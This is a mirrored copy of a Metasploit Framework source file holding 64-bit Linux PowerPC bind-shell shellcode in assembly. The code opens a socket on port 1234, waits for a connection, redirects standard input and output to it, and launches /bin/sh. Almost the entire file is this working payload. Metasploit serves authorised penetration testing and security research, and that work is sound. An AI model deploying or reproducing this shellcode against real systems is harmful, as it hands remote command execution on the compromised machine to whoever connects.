CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/external/source/unixasm/lin-power-bndsockcode64.S
Views: 11766
1
/*
2
* lin-power-bndsockcode64.S
3
* Copyright 2008 Ramon de Carvalho Valle <[email protected]>
4
*
5
* This library is free software; you can redistribute it and/or
6
* modify it under the terms of the GNU Lesser General Public
7
* License as published by the Free Software Foundation; either
8
* version 2.1 of the License, or (at your option) any later version.
9
*
10
* This library is distributed in the hope that it will be useful,
11
* but WITHOUT ANY WARRANTY; without even the implied warranty of
12
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
13
* Lesser General Public License for more details.
14
*
15
* You should have received a copy of the GNU Lesser General Public
16
* License along with this library; if not, write to the Free Software
17
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
18
*
19
*/
20
21
#include "linux-power.h"
22
23
.globl main
24
25
main:
26
27
bndsockcode64:
28
xor %r31,%r31,%r31
29
lil %r29,__CAL
30
31
# socket
32
33
cal %r28,-511+1(%r29)
34
cal %r27,-511+2(%r29)
35
stdu %r31,-8(%r1)
36
stdu %r28,-8(%r1)
37
stdu %r27,-8(%r1)
38
mr %r4,%r1
39
cal %r3,__NC_socket(%r29)
40
cal %r0,__NC_socketcall(%r29)
41
.long 0x44ffff02
42
mr %r26,%r3
43
44
# bind
45
46
cal %r25,-511+16(%r29)
47
48
/*
49
* The following GPRs result in zeros when used with liu instruction.
50
* %r24, %r16, %r8, %r0
51
*
52
*/
53
54
liu %r23,0xff02
55
oril %r23,%r23,0x04d2
56
stu %r31,-4(%r1)
57
stu %r23,-4(%r1)
58
mr %r22,%r1
59
stdu %r25,-8(%r1)
60
stdu %r22,-8(%r1)
61
stdu %r26,-8(%r1)
62
mr %r4,%r1
63
cal %r3,__NC_bind(%r29)
64
cal %r0,__NC_socketcall(%r29)
65
.long 0x44ffff02
66
67
# listen
68
69
stdu %r31,-8(%r1)
70
stdu %r31,-8(%r1)
71
stdu %r26,-8(%r1)
72
mr %r4,%r1
73
cal %r3,__NC_listen(%r29)
74
cal %r0,__NC_socketcall(%r29)
75
.long 0x44ffff02
76
77
# accept
78
79
mr %r4,%r1
80
cal %r3,__NC_accept(%r29)
81
cal %r0,__NC_socketcall(%r29)
82
.long 0x44ffff02
83
mr %r21,%r3
84
85
0:
86
# dup2
87
88
mr %r4,%r27
89
mr %r3,%r21
90
cal %r0,__NC_dup2(%r29)
91
.long 0x44ffff02
92
93
ai. %r27,%r27,-1
94
bge 0b
95
96
shellcode64:
97
# lil %r31,__CAL
98
xor. %r5,%r5,%r5
99
bnel shellcode64
100
mflr %r30
101
cal %r30,511(%r30)
102
cal %r3,-511+36(%r30)
103
stb %r5,-511+43(%r30)
104
stdu %r5,-8(%r1)
105
stdu %r3,-8(%r1)
106
mr %r4,%r1
107
# cal %r0,__NC_execve(%r31)
108
cal %r0,__NC_execve(%r29)
109
.long 0x44ffff02
110
.asciz "/bin/sh"
111
112
113